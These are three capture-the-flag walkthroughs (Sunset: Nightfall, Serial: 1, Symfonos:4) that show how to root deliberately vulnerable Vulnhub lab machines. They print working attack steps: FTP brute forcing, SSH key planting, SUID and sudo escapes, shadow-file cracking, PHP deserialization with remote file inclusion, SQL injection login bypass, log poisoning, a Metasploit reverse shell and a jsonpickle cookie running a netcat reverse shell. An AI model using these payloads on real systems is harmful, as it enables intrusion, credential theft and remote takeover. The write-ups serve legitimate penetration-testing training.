Sunset: Nightfall Vulnhub Walkthrough


We have another CTF challenges for CTF players that named as “Sunset: nightfall” and it can be download from vulnhub from here. The credit goes “whitecr0wz” for designing this VM machine for beginners. This is a Linux based CTF challenge where you can use your basic pentest skill for Compromising this VM to escalate the root privilege shell.
Level: Easy
Task: Boot to Root
Penetrating Methodologies

Network Scanning
·         Netdiscover
·         Nmap
Enumeration
·         Enum4linux
Exploiting
·         FTP Brute force
·         Injecting blank SSH key
·         SSH login
Privilege Escalation
·         SUID Binaries
·         Sudo Rights

Walkthrough
Network Scanning
Let’s begin with the network scan using netdiscover to identify the host machine IP.
netdiscover
And this gave 192.168.0.24 as Host IP, now we will move toward ports and service scan further.


For deep network scan we always prefer to use nmap aggressive scan and this time also we will go with the same approach, thus will run the below command to enumerate running services and open port.
nmap -A 192.168.0.24
From its scan result, we found that it has multiple open ports for various services but here port 21 i.e. look interesting as it is using pyftplib for ftp.


Enumeration
For more detail we need to start enumeration against the host machine, therefore, we navigate to a web browser for exploring HTTP service but we found nothing at this place.


While enumerating SMB service we found two use name “nightfall” & “matt” with help of Enum4linux.
enum4linux 192.168.0.24


Exploiting
Since we have enumerated two usernames let’s go for brute force attack with the help of hydra and try to find its password for login into FTP
hydra -l matt -P /usr/share/wordlists/rockyou.txt 192.168.0.24 ftp -e nsr
Great! “Cheese” 😊is the password of user “matt” let’s use this credential for ftp login.


We logged into FTP successfully, since we were logged inside the host machine but to access proper shell we need to compromise TTY shell, therefore we decide to upload a malicious file inside /var/www/html but unfortunately we were unable to access that directory.

This is due to pyftplib which is using python library for FTP and might be File sharing is allowed on any particular directory hence we are unable to access /var/www/html directory.

But still we have another approach i.e. SSH key placement which means we will try to inject our created SSH key inside the host machine and access the pty shell of the host machine via ssh and this can be achieved when we will create an .ssh named folder and upload our ssh key inside it.



Thus, in our local machine we created a ssh key with blank passphrase using ssk-keygen and it will create two files. Then we copied id_rsa.pub file into another file and named “authorized_keys” and we need to transfer this file inside host machine.


As we already have FTP access of the host machine therefore it becomes easy to for us to upload authorized_keys inside the .ssh directory which we have created earlier.


So, when we try to connect with ssh as matt user, we got login successfully as shown in the below image. At this phase we have compromised the host machine and to get access of root shell we need bypass user privileges, therefore without wasting time we try to identify SUID enabled binaries with help of find command.
find / -perm -u=s -type f 2>/dev/null
So, we found /script/find has SUID permissions and it work similar as Linux-Find utility thus we try to execute /bin/sh command and obtain nightfall shell access.
./find . -exec /bin/sh -p \; -quit
So, we got access of nightfall shell where we found our 1st flag from inside user.txt file.


But this was limited shell thus to access proper shell as nightfall, we try to apply previous approach of placing blank passphrase ssh key. Therefore inside /home/nightfall we created a .ssh named folder and upload the authorized_key which we had created previously.


Privilege Escalation
Now repeat the same and try to connect with ssh as nightfall and you will get ssh shell like us as shown in below image. Further, we check sudo right for nightfall and observe he has sudo right for cat program which means we can read higher privilege such as shadow.
sudo -l
we have executed the following command for reading shadow file and obtain some hash value.
sudo cat /etc/shadow

So, we saved the hash of user: root in a text file and then use john the ripper for cracking hash.
Booomm!! We got user: root password: miguel2


Using above credential i.e. root:miguel2 we got the root shell access and inside /root directory we found our final flag.


Serial: 1 Vulnhub Walkthrough


Today we are going to take a new challenge Ted. The credit for making this VM machine goes to “Avraham Cohen” and it is a boot2root challenge where we have to root the server to complete the challenge. You can download this VM here

Security Level: Beginner/ Intermediate
Penetrating Methodology:
Scanning
·        NMAP
·        Dirb
Enumeration
·        Browsing the website
·        Burpsuite 
Exploitation
·        Analyze and change php code to get
Privilege Escalation
·        Sudo permission for vim command

Walkthrough:
Scanning:
First thing first, scan the vulnerable machine using nmap
nmap -p-  -A 192.168.2.6
Here we got only two ports, 80 and 22
We browsed the website on port 80 and got the message hinting that we might get something in cookies
When we intercepted the request, there was a very lengthy value for a cookie. The value for cookie user was a base64 encoded value

After decoding the value gave us a username, we tried to change it to something else but not possible

For a moment, we kept it aside and tried to get all the available directories using dirb
Here we found one interesting directory named backup
We visited the backup directory on the web server and found a zip file over there
We downloaded the zip file and extracted the contents and found three files
Let’s check the contents of the files starting from
1)      index.php
2)      user.class.php
3) log.class.php
After carefully analysing the code of file index.php and user.class.php, we came to know that we can try to get base64 encoded value of cookie user by just adjusting a function call from index.php to user.class.php. So, we added one single line in the end to display the base64 value encoded in similar format as the user cookie value but this time with another user i.e. admin
echo base64_encode(serialize(new User(‘admin’)));

Now let’s try to run the php code and check the output of the same,
php user.class.php
we got a base64 encoded value which we will try to use as the value of user cookie
Well the base64 cookie value worked but nothing much helpful, so we started to look for something else. We checked the log.class.php, we found that the Log class is having a include function to include a log file but the parameter type_log is not assigned any value. We assigned the valiable with a the path of passwd file as the value.
Also alongside that we made a small change in the user class, we replaced the function call of the Welcome class to the function call of constructor of the Log class.
Now when we tried to run the user.class.php file again, we found that the passwd file was displayed and we got the base64 encoded value which we can use as the cookie.
php user.class.php
When we tried the base64 encoded cookie value in the webpage, we got the passwd file from the target machine, confirming we have a file inclusion vulnerability
Now that we have verified the presence of file inclusion vulnerability, we created a remote code execution file and started the python server
Now we edit the log class to change the file path variable to the url of our shell
Private $type_log = “http://192.168.2.3/shell.php”
After putting the code in place, its time to get the cookie value to execute
php user.class.php
When we used the cookie value and provided the cmd parameter with ifconfig command
While checking the contents, we found a file named credentials.txt.bak
We tried to check the contents and found something like a set of credentials, let’s try to use these credentials
We used the credentials for ssh and got access. While enumerating we found the first flag
ls
cat flag.txt
Now we have to escalate the privilege, we tried to get sudo permissions for current user. We found we have sudo permissions for vim editor
sudo -l
We used privilege escalation through vim editor and got the root shell
sudo vim
:!/bin/bash
cd /root
ls
cat fl4g.txt

Symfonos:4 Vulnhub Walkthrough


Hello, guys today we are going to take a new challenge Symfonos:4, which is a third lab of the series Symfonos. The credit for making this VM machine goes to “Zayotic” and it’s another boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM HERE.
Level: Intermediate

Penetrating Methodology:

Network Scanning
·        Netdiscover
·        Nmap
Enumeration
·        Browsing HTTP Service
·        Directory Bruteforcing using dirb
Exploitation
·        SQL injection to bypass Login Form
·        Using LFI to read the Logs
·        Using SSH log poisoning using PHP malicious script
·        Using Metasploit to create PHP reverse shell
·        Port Forwarding
·        Encoding and Decoding Cookies
Privilege Escalation
·        Inject netcat reverse shell into Json Pickle string
·        Replacing cookie with Base64 Encoded Reverse Shell
·        Getting Root Access

Walkthrough

Network Scanning

We will be running this lab in a Virtual Machine Player or Virtual Box.  But first, let’s discover the IP Address of the lab. i.e 192.168.0.23
netdiscover

Once the Ip Address is acquired. Now we will run an aggressive scan using nmap for proceed further.
nmap -A 192.168.0.23


Enumeration

For more details, we will need to start enumeration against the host machine. Therefore, we will navigate to a web browser for exploring HTTP service since port 80 is open.


Let’s further enumerate the target machine through a directory Bruteforce. For this, we are going to use the dirb tool. This gave us a page named “atlantis.php” and “sea.php”. After browsing both directories we noticed “sea.php” was redirecting to “atlantis.php”.
dirb http://192.168.0.23/ /usr/share/wordlists/dirb/big.txt -X .php



Exploitation
So, browsing Atlantis.php directory came out to be a Login Form. To further enumerate the form, we tried combinations of SQL Injection. After few tries, we were able to bypass the Login form using ‘or ‘1’=’1’ as a username. And for password we gave any random value.

We got a prompt to select a god after successfully bypassing the Login form. We selected any random god i.e Hades and were redirected to a URL which left us inquisitive.

After seeing all the possibilities, it quickly strikes let’s try Local File Inclusion. After trying to find /etc/passwd file but didn’t succeed, after we thought of reading the log file using LFI. And we successfully did read the logs.
So we try to inject malicious PHP command via SSH for poisoning auth logs as shown in the image below, so that hopefully we can use a ‘C’ parameter to run arbitrary systems commands on the Target Machine.
ssh ‘’@192.168.0.23

Indeed we have to way to execute commands on the target machine. To confirm it we simply checked the id of the Target machine.
Time to Fire Up Metasploit, by using Web-Delivery module we have created a malicious link for PHP reverse shell.
use exploit/multi/script/web_delivery
set target 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.025
exploit

We need to run the above PHP reverse shell in the ‘C’ parameter in the URL as shown in the image.

On successfully executing the Shell, We saw a new session is opened. To get the complete meterpreter we need to interact with the opened session. And to confirm we checked the system information.
sessions 1
sysinfo

We thought of checking the ongoing processes. After looking out, we saw an interesting process which was running on 127.0.0.1:8080 but we didn’t saw it in our Nmap result because it was an internal process.
ps   
            
Let’s forward the port 8080 to our port 8888.
portfwd add -l 8888 -p 8080 -r 127.0.0.1

Once done with port forwarding. We browsed the forwarded port 8888 with Localhost on the browser but where getting redirected to a page /whoami.

I guess we need to manually go back to main page. Then we got a thought that we might have a cookie for the username.

Without wasting time lets intercept the request of this page using Burp Suite. So the cookie is base64 encoded. We need to decode it.
*Since port 8080 was busy with other process. So we change the listening of Burpsuite to any random port. Dont forget to configure it before intercepting the request.

We decoded the cookie using Burp Suite inbuilt decoder. After searching about the decoded string, we came to know it is a jsonpickle string.
{"py/object": "app.User", "username": "Poseidon"}


Making some modification in the jsonpickle string, we added a netcat reverse shell and encoded the whole string into base64.
{"py/object": "__main__.Shell", "py/reduce": [{"py/function": "os.system"}, ["/usr/bin/nc -e /bin/sh 192.168.0.25 5555"], 0, 0, 0]}


We need to replace the old cookie with the new base64 encoded string and forward the request in Burp Suite. Also don’t forget to spawn a netcat listener on port 5555 before forwarding the request on your Kali Terminal.

Privilege Escalation:

We successfully got the netcat session with root access. To confirm we have checked the Id of the user.  Only thing left to do is we went inside the ROOT directory and Read our FLAG.
nc -lvp 5555
id
cd/root
ls
cat proof.txt


Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing his 3 years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here